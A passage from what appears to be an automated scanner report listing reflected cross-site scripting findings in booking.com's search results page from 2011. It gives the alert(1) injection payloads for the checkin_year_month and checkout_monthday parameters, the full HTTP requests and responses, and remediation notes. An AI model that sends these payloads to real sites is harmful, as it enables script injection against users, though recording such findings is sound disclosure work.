http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:17:55 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YVuoakmCuggKVBk4dVUHfDVnewdIvAmgoL0tSDTgFt9zgdISpAL9zaHjp6X9Iy1Q%2BUur%2B%2FRf37bFsaJsXw908W4diQTtTz13fHFhiEf%2FmLPYV%2FFGUzga5TwTyRd7Zqi5YdeROYvwI09F7R%2BHenmuEuJcMR%2FnFxXN%2FRAMEqLwczMSu34en%2FtI3AeEAtwK%2BBHe7jzOabclaj5UiseUxH3%2B6POt6jcGBLpsrYHQBSrxdHkAIY9CjOLB%2FbW6pDR0cPFb1Za3Vt022IKEwCF6AZ3n4zWvOKJs8BVmyo1ck5vPnPE4j9INed765odKzPMz5u1oFAl%2FpGd7isYZrIQNeSQ2u6CQhaSh%2FiKhyqvUBcnbv77xDHmzZPM6uA%2FULLH82QUtuW1MA8%2Fe8Lxz%2BzC8Jpn9eWSNdd3YOQOExP4JHg0ZTwPq5ygvygKvnyNngGlJmX8AvpISLdaJLPBuHKAFM4mLCx164EFuXFeLXLFI4Y8%2BFz7sDavEPeX2A6G0LKkMybTIU6VqU4Eb6QV5efi1fQI1pV4w8Ud3z%2FdyDcTZDOfCzXjnPvD%2BPekw0LLvFmUN88qQloqwt6aSzpTNcLwH8q93J9En2%2FAEWmlhiancoHjmEr9gFyYfgt7%2BKjTYAfeKfU4A%2BcXIq%2BxeayxrIPKurH6O8EIwdXr0YvAMdjjDEjRoj4RJ7Du%2FFwI0p%2BWoDDrz4mn2JbCfObAyCb%2BVVYak5pJqw2Hp68M6fEOKCVGT9E5Cz6DeT2rVyT5EfIogClFHau8pHoDDRK%2F%2FrLF6zfhuDNvHiI79UN%2F44ZPwOnf9cEAHHdvHV%2Fw0Ln60jq9qAgvHMs5y6xII9yg%2F2BJbGt%2Fhk8DoeNjse3WJBOaQZj5RKKkUKHuoVzkt4nlNSmfjDO7HkXtFfASCQr6eTanvfzRBBK%2Bc3LxB5K0UK1fwe%2Bx1D4zWF99eqTh6tlNgeSjBuxI85Z9HFRebeDaV6%2BhlXRnc%2BNwzDSm%2BbEwBFRFE61mYpf9zBnf0xEJCKV70IxteV6YFgjfqvBjU3vY7f591%2FxPzpqad8T3OTLrlr8SIbBoNN4P9esRp8HhSsV2KHUymQVyhn%2FoqmC8DlmdD2RX4QizimqbQH3pwa9Zo46DcmglZQSZwCmCjAF5mBHM1ee9qhOnPNQhkId%2BiIaDmSWW3AJTdzT8t8AXHLXAwtDlshe2CLBOc%2BCHU9NI9PDQECjY%2F6JybHpM6x4K8sCyLhVuBRThTso1FY3xVef%2BXOD8qCDD6qErLoFORugtbq9tNqEt2lO5YZDcYB6AiyVMiafC8qBvvYqMaysVH4bGUVnwuV89xiL7WadP47KXZYAHtqVxOAzN9D70UiKvwhh%2FwpQbV62m0dJ5OvFotr7vkn7giglsjwZlKJ8iR6%2BjkRxjDpPsqQlE5MBTCjQoy8qHps13Nh655VfWxkV6haJpW4S2k8A%2BFkUMeMB3TIcBhzjFpgfW43LxTOeGt5g%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:17:55 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 278343 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the checkin_year_month request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a4609</script><script>alert(1)</script>364dfd52e62 was submitted in the checkin_year_month parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10a4609</script><script>alert(1)</script>364dfd52e62&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:20:10 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YXwiHh2%2F7WNDPZ3nY%2BK7rx45hTbiDc3NR0kCPIILsWbZor2CD1FfGdefKUJXrZ4LhRultf9wi7%2BBa4wA0Xe8rEPXdTrlS%2FC0RK7AO5KfnttTKjvmtmvVwWpdPdWObiTxe4HCNrATsB%2BO94lOYlLkRFNr70z1Ak%2BQv0QrAV%2BxSnxb3kGHQ9RQAyC5eEO4DoEW5qabbtFoys%2B5YUzPOF0G4ywfhPoLkxs4o6siwicUER1s%2B7m3%2F3T28oSg5ZBm7%2FhJVDniS3vYikVDGMQHZaaLz5%2BX4tWdffY3u0pGx73WGbA0lO7sz%2FHSfljBz4lzoeTyeQ7eaQAu4O0X0wHNgjA2ARPQqRA7DqUSkQKi34Qt%2Big81Y%2BrcUjsnjLojuflJVjXQuTZxYrFh%2FtXnS7d%2FKMT7sWqIrBjfmGyQCnWEWAWe74XOnHMcAjnMhOkuw7rBe%2BN0D5hfSIa4oHjmHGdizMwGD139%2BCnqkhLRWPcYO%2F5sGp%2FLMXs93Jq7oM%2BYMSTh6as7RQicH7PWVk8AxV%2B5vvq%2FaD8082Ulv5kFO6HBvHALEvlDB%2BSs09p%2F8loH349D0eBNpYfBmvcvJxaik4Mqa1tGGxeEiQUk2Lrswnx64Eh4TSwXGFJW5IpQtLpktpVz05EapxtC474y8Xte%2BxGL1gzHlMbqweb1cQwcQGaALgdI39SeZfFBIs%2FPqLCkNHDQ5Cgb6nJIEGJxVZT27hW4%2BXYa9CwMh4NXXED3JwBCJHvT2lpOrU8qrkK%2ByfUXXlyw5lGKLsS09A0jiJSb%2FTWV5Id79DmQzsRRafZGDwjphRp9NmpzyRoFczXiiKRJR0Zm0ECjOUo5O7NUhUaTw9%2BV7MuycYaFvNK4rED87aIuVp1nA4vRFppbUSxT0asrvJfGgcsYPrGZiYAKqTl8qDWb%2BRuqwZ3gN%2FhqNoRFXpsM6NQi7TBRe1BNby8JPgdFRYGPRchTeOiESe%2F2u0eOOz%2FhyvBV9hqc2amYf%2B7pKrPKSFiL9j62XsJSynfZADZODPZqgAfeQe0%2B1n%2FM3Nf%2FgXB2BfpDoMfTAoIXDD%2B2zpy1GZ0aKfwZc5%2Btcf%2FnLwKHqtMoQWHQCny%2BLQ8EM%2FsU01FuSaI2gM%2BiQ5sg54OYuaxZ15EAnq9CpJ%2F6kJL5%2BWEJyqIWgXDcRuVTekXmEZ2Gtr02eUbrpR5Qe2aVzyX53tikhW9K1dkSfDqOK%2FewU80i%2FeTqzN29f5FnjAG%2FZK%2BE1MCQqvUQV%2F6wHpA1VptLqcCLY4vCZRVcs6QMCMMb025k0Fgh2fhN4wYgSRshaCiuAa%2FlzK%2Bfk%2FAQl%2FxDc24ACcyUL2Sn0whzY3aJgNuYdGp457tXZ626rLcHf744BVF5YVIHoheUTNsVr0zV4EqnvNWYYjI8dmLiaCU3KkgcWyjoIwoil3eDWhSlTu6Y2tU4SdXYLLw1rX8JBf3N8On%2BAfJaOp%2FVTWXzOTYo0QiQWSQfwIBNi7aiA%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:20:11 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 276908 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the checkin_year_month request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3bff"><script>alert(1)</script>baf172468a was submitted in the checkin_year_month parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10f3bff"><script>alert(1)</script>baf172468a&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:18:52 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YdN864bAdMj5l%2FLffaPyJHXu4q2%2BdoR5Iz0oavHU2rGisCrR42YpPIjedvMSIvnPbufaWP5YiCyeKFOhfiPW1L2dsrmzNmkmplzXnm9y%2BhF11lYWw2HnoP5JmCp%2FP6bNuIQRCLLwramikxQrRTcScO0q%2FQb2CeYiov0Odn7qD%2FdE5my4OGedYO47IvhCyxJVSa101qzR5SKjnuKMgZJfVGl6m1Kl6wC%2F%2FvEGchgxQN8LbXGHagbI8Tqv1je1npYwGWKCocPKIfldPMuGUSMtgM54n6j21kukoIp14B7JCljJxsV5GryNeyG%2BaAsAWGlvQTE8487N69tLBosvMZEdiNdCCAUvfzNSiGnp%2Fm1TN9JhfxaRaGKeMNmLTVN4vnxJhhuPPSBpB%2FnP7innGo%2Ffqonjph8QVMf5LpBBI26UK%2FbdozyrZhp0Z7DBLE1Ik9l8p7GOFHE6jXLNsPZeTQSeRFxWg4UVsHT2DoDTfSM9MtnUiEOBKoTKdwFdhUJTRUkTX3VPYO9TpN%2F%2FNjRXKjaJrQuOPdViHN10jhta%2Bv2gVO%2FU%2F%2Fq%2BKW0%2BWHzaDhy7vcjDKAitEgB2i%2FFMdGE9cYOgDWnLV%2F0Ofbq1Pi91dq0GE3riH12e1Jq1AYuUcB1N2p8Z%2BRumfNHznEre7MbZjugWZl4Og%2FUVG6no7%2F6e1eAc3ei0eJ4ntzgF2vZRD1eQkhJyabtqG8GHEgx42UqFAsS6oYClL7Gh2LSGEkxlBBkB0T5gatTRevfQHi9nNYe5tsUA9mdeJXp6yntAOIHUVGYBV4%2BSvAeVnTdvw9lbNnw%2FeG6J25ZgflZyhW8fa69VwbR7QdD76tTmu5dDmRXWQ%2BjDxiaqpLZTCzTZ2lq2LHE%2Fx2nnRH2SGQUY4FEVnWyWl8%2BR0Uh1c2lAN56yNkD0e38RN8hXSeeVDhdxvDM%2FYtTQx%2B0MSiEcweAlkR0BlD6AvFmJNvuQPbLaOMafcB%2Bl89J6jlTn02QuI%2B0Dp0C%2BEos%2BDEC7da293k49UabVZdVPEiQkUsvxP7oicqn%2B90nYxIqdMp6hK%2BTp6eyJ%2FK7UONqCUxMytL96ojNyE7ZY2YI6%2Bnxkdlv2vTIzHbOOo2fQwfryxbaX0u3fDYP%2F33FGi7fppwfbzj8DiVSHCOe8qtaAVMWv2el3thWW5aCNAEHE9OZ5l4ZhV2g98I3LVyG78zSKGv7yM%2BlF9i637ijsYMd%2B2CIyZw%2F1aJeAT3Gw5CeKnVDkQtCbyU%2B9Ejar4R%2FzsKRxAG%2FFWkpjpYk2XV0tH%2BRynnHnPUktTxSu1J4jBrlQBkRZzbwQaS68DHP6UnQrSv5IF3gchRRpfMR9WPBMPgZ9XI1N%2FHZXt1NN6GfV8VGdKnW%2BHA4Jce7GCm8fCTVRA7mYEF7Yl9a2iLjnu8ORQJ%2F9jPkAus1yAwrIpMiihqxLzcsbnf3VvqADIyR4ZVwZ4fMTWE%2BtFOXYPCO8SQRmaicvBOZqOQ%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:18:52 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 277061 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the checkout_monthday request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7bb98</script><script>alert(1)</script>b608cf5487c was submitted in the checkout_monthday parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=077bb98</script><script>alert(1)</script>b608cf5487c&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:21:00 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YdN864bAdMj5F%2B8LyEAy9%2BENkbBkfkD3xhmWaR2GVCPzzKfUTiby6MVy7BO30HJ3O9pLiRU%2BmjHeEQw7IVRPh%2BJlCBA6Rg9LeHlyVInUowzj92f0uZRiZ3zREWkxGzzctCPIkvIgmCBgVE7HG2EUgxqaaYsBnRjvOFNwJnK1E10WP98kj12MLYEpA2qGv7iIHej9tJ6yq4lrodaa0LgjERYrKGSiuk4pzNPhT81Tb05jjgaoOpX%2Be1G74P%2BI8qLRNm3n%2FfBjZ63vqR5Klv3HnK%2Fu10sz3AILCjNTqYk2GbEogMX3Q7BZxqjZu%2BRa%2BsIS7Z74wEjXDgFdTq3WzZ31Pvm%2FF7BoFfo%2BkL1UEStqg%2BFXgeFPtcdhqwSwzvUCe4dloObgBvuf56hTXCikBWZxZESOalIIMPtA3u8ry1t37PWvOJdj9O9dT1XPU4hVo6PE8%2BI6WxJcLAxgaa%2BBB8qRL0pmnmV73%2B1TUNGxc5enITyYDEMasrT3HrzWfSbn2Xt%2BjZwsbfrmcCtBNsJpJYFUU1w1bedldOMeVR3BXgA8lDkcYo8K%2FTTYAIyHA0Lsr09JokMs5ALka3cQtZCNMuO2EFyV2kAt7hIOEbQmvxb55DcpxZNcbN1VtSBNRsoejhBAgGxzOLIkGWSz4Hyr3t6XtOJZa6%2F1qllBOMABsviYeA3G35Ecky4fNVtZ33zbF7AVwZRd7n6nLw6YHE32227sh4B8VL2i41%2BDzYJNeuIuTxxrSvxp7VDQFXzlDkv4rcaDsR%2FBLPM1tTG8JOBPE6Q2%2BxU7i5NDdLLAVjGlI%2B0bpLrragF5REg29Fp6lh2ElQnuo3mKbUfvDT%2BtfFYjmRZI2yz7UtbRIxrZmngAKoSXVyb7ive7rxYiZkIxQZUh0BPJ1OUFIKcmT5hpooSTJLq38TYlNLr7QWdAF7YF%2BQti%2BFeMXefR3pMO2U7eF%2F0tLMmmZqJdDJaglUgp0r64jc6mfRyB14Dxm%2B5dd%2BOOOAaaEpgpeoBQVy0EsQRQVv8ydRCv2fzE%2FApk%2BEFcHYMmMmiXesyKPBDoPSOCrBTpeA2RJlHnuTPu9KnWmE1sUS7lal1ZhPj0ruyxACkRlb1Dnk2saemzYg2PHnns7V%2BNdIUdFJlCKp8Ocs62mJjW19yGvZZ3j445lGhyLrnAqH9AbJJ5qIZ63XRTe%2Bq8oAYIfXLu5RT6XA1Nr520v69IfC8Ldh9lDRrY1mfvbdFBXbQZ%2BAL%2BrXRqPAtZrmVYfK%2BPou%2F%2BZ4e%2FpmMH%2Fgir%2Fy4vCXhSV%2FU7nbxLJsVBf1JVXay6ozBkqj34prs5hvCIA6Ed%2BGetDiYGMMwIVlQF27TLvqSaLePOcZ6BuV7%2BJ4veERMU6lMlOlcvOslEY6kXfyxdfC%2BOtfI%2BYgt1m%2Fs8tpO%2FiAP2R5J8mZYffBh9rSfdP%2FhnI6nzUdBn9sts8SphFb%2BRYNO3iIvfXzNHovWtnSs8j5FkC2pnYA%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:21:00 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 267240 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the checkout_monthday request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b25ce"><script>alert(1)</script>ef94838552f was submitted in the checkout_monthday parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07b25ce"><script>alert(1)</script>ef94838552f&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
